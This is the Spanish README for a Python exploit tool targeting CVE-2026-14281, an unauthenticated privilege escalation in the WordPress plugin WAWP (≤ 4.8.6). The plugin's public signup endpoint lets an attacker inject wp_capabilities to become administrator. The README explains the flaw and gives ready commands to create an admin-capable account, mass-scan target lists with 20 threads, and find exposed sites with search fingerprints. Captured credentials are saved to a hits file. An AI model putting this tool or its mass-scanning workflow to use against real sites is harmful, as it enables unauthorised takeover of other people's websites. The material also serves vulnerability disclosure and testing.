
Escalada de privilegios no autenticada en WordPress WAWP (Automation Web Platform) ≤ 4.8.6 mediante registro público en REST y wawp_custom_fields sin sanear → admin. PoC de verificación/exploit en Python (PoCbit).
PoC en Python 3 para CVE-2026-14281 en el plugin de WordPress Automation Web Platform (automation-web-platform — WAWP / Notifications & OTP for WooCommerce).
Listado en PoCbit — catálogo comunitario: https://pocbit.org/pocs/
Al ejecutar el PoC se imprime una cabecera PoCbit; las líneas JSONL incluyen pocbit, pocbit_catalog y pocbit_page.
| Plataforma | Plugin de WordPress |
| Componente | Automation Web Platform (WAWP) |
| Afectado | ≤ 4.8.6 |
| Corregido en | > 4.8.6 (actualizar a la última versión estable) |
| CVSS 3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticación | No autenticada |
| Vector | REST público POST /wp-json/wawp/v1/signup/signup |
El manejador REST de registro (public_permissions_check) acepta wawp_custom_fields, lo asigna a custom_fields_data y, tras wp_insert_user(), escribe cada clave con update_user_meta() sin una lista de permitidos. Los atacantes pueden establecer wp_capabilities y wp_user_level para obtener administrador.
Código relevante (4.8.6): includes/api/class-wawp-rest-settings-api.php (/signup/(?P<op>…)), includes/auth-services/class-wawp-otp-service.php (wawp_custom_fields → custom_fields_data), includes/auth-services/class-wawp-signup.php (finish_registration_logic).
Cuando el OTP de registro está habilitado, la primera llamada a signup puede detenerse en otp_verify (desafío enviado) y el registro finaliza solo después del OTP — la cadena completa de admin no autenticado puede requerir que el OTP esté deshabilitado o un bypass de OTP independiente. El PoC reporta otp_required en ese caso.
pip install -r requirements.txt
Python 3.8+.
# Version + REST surface + optional live signup probe (creates a throwaway user if OTP off)
python poc.py -u https://target.example --mode check
# Register admin-capable user (authorized targets only)
python poc.py -u https://target.example --mode exploit --verify
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON to stdout (single target)
python poc.py -u https://target.example --mode check 2>nul
| Archivo | Significado |
|---|---|
cve_2026_14281_results.jsonl | JSON completo por objetivo |
hits.txt | Hosts candidatos (check) o url|email|password (exploit) |
candidates.jsonl | Resumen del modo check |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
Úsalo solo en sistemas que poseas o para los que tengas permiso explícito de prueba.
| Estado | Significado |
|---|
exploit_confirmed_probe | Sondeo de registro completado (OTP deshabilitado); ruta de inyección de meta activa |
vulnerable_otp_blocks_signup | Plugin/versión + REST OK; el paso de OTP bloquea el registro en un solo intento |
vulnerable_rest_signup | Versión vulnerable; REST accesible (sondeo no concluyente) |
patched | Versión > 4.8.6 |
no_plugin | Plugin no detectado |